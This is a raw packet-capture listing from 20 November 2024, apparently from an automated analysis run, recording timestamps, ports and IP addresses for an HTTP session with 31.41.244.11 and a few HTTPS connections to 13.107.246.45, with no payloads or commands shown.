Nov 20, 2024 04:08:12.082695961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.082706928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.082722902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.082734108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.082740068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.082755089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.082755089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.082772970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.082792997 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.082830906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.083570957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.083585024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.083630085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.083663940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.083679914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.083703995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.083713055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.083719969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.083738089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.083739996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.083755016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.083764076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.083811998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.083991051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084014893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084042072 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084074020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084079981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084099054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084114075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084129095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084131956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084150076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084153891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084166050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084192038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084206104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084218025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084230900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084244967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084260941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084265947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084276915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084287882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084302902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084311008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084320068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084331989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084337950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084356070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084363937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084381104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084388018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084394932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084419012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084420919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084436893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084445953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084453106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084471941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084484100 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084511995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084522963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084528923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084547043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084558010 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084563017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084579945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084594965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084595919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084610939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084626913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.084630013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084662914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.084683895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.125581980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.125597000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.125611067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.125627995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.125638962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.125643969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.125662088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.125663042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.125679970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.125696898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.125711918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.125735998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.146442890 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.146867990 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.147027969 CET	62448	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.147258997 CET	62448	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.147305965 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.147366047 CET	62448	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.147382021 CET	443	62448	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.150418043 CET	62453	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.150461912 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.150556087 CET	62453	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.150696039 CET	62453	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:12.150718927 CET	443	62453	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:12.157339096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157401085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157437086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157437086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157474995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157485962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157505989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157541037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157546043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157583952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157598972 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157619953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157629967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157656908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157670021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157708883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157710075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157746077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157763004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157782078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157795906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157818079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157830000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157850027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157867908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157881021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157891989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157893896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157910109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157919884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157927036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157947063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157948971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157963037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157972097 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157979965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.157994986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.157996893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.158015966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.158044100 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.158071041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169450998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169475079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169483900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169540882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169579029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169594049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169608116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169610023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169626951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169640064 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169646025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169672012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169692993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169706106 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169718981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169734001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169748068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169759989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169775009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169775963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169791937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169805050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169807911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169836998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169848919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169852972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169872046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169884920 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169899940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169899940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169918060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169934988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169943094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169956923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169965982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169975996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.169987917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.169992924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170021057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170026064 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170037031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170053005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170057058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170069933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170097113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170104980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170120955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170130014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170135975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170142889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170151949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170169115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170182943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170197964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170197964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170202971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170214891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170227051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170237064 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170244932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170250893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170260906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170279026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170279026 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170289993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170295954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170312881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170326948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170329094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170346975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170350075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170361996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170371056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.170382977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170399904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.170424938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.171143055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.171169043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.171195030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.171217918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.171227932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.171263933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.171264887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.171297073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.171334982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.171336889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.171351910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.171361923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.171367884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.171439886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.171467066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172158957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172204971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172210932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172223091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172250986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172275066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172287941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172302961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172319889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172331095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172337055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172353029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172435045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172435045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172545910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172565937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172595978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172610044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172625065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172663927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172667980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172689915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172692060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172709942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172720909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172723055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172744036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172746897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172760010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172768116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172792912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172837973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172844887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172854900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172872066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.172899008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172899008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.172928095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173043966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173063040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173079014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173094988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173096895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173111916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173119068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173129082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173139095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173146009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173171043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173187971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173194885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173194885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173202991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173232079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173242092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173242092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173254013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173260927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173273087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173279047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173290014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173297882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173306942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173319101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173331022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173336029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173348904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173366070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.173365116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173386097 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173404932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.173423052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.214063883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214214087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214229107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214243889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214252949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.214261055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214274883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214283943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214301109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214318991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.214322090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.214342117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.214365005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246098042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246155024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246190071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246198893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246244907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246296883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246330023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246350050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246350050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246350050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246350050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246366024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246388912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246392965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246406078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246421099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246436119 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246438026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246454954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246459007 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246471882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246486902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246503115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246510983 CET	62430	80	192.168.2.4	31.41.244.11
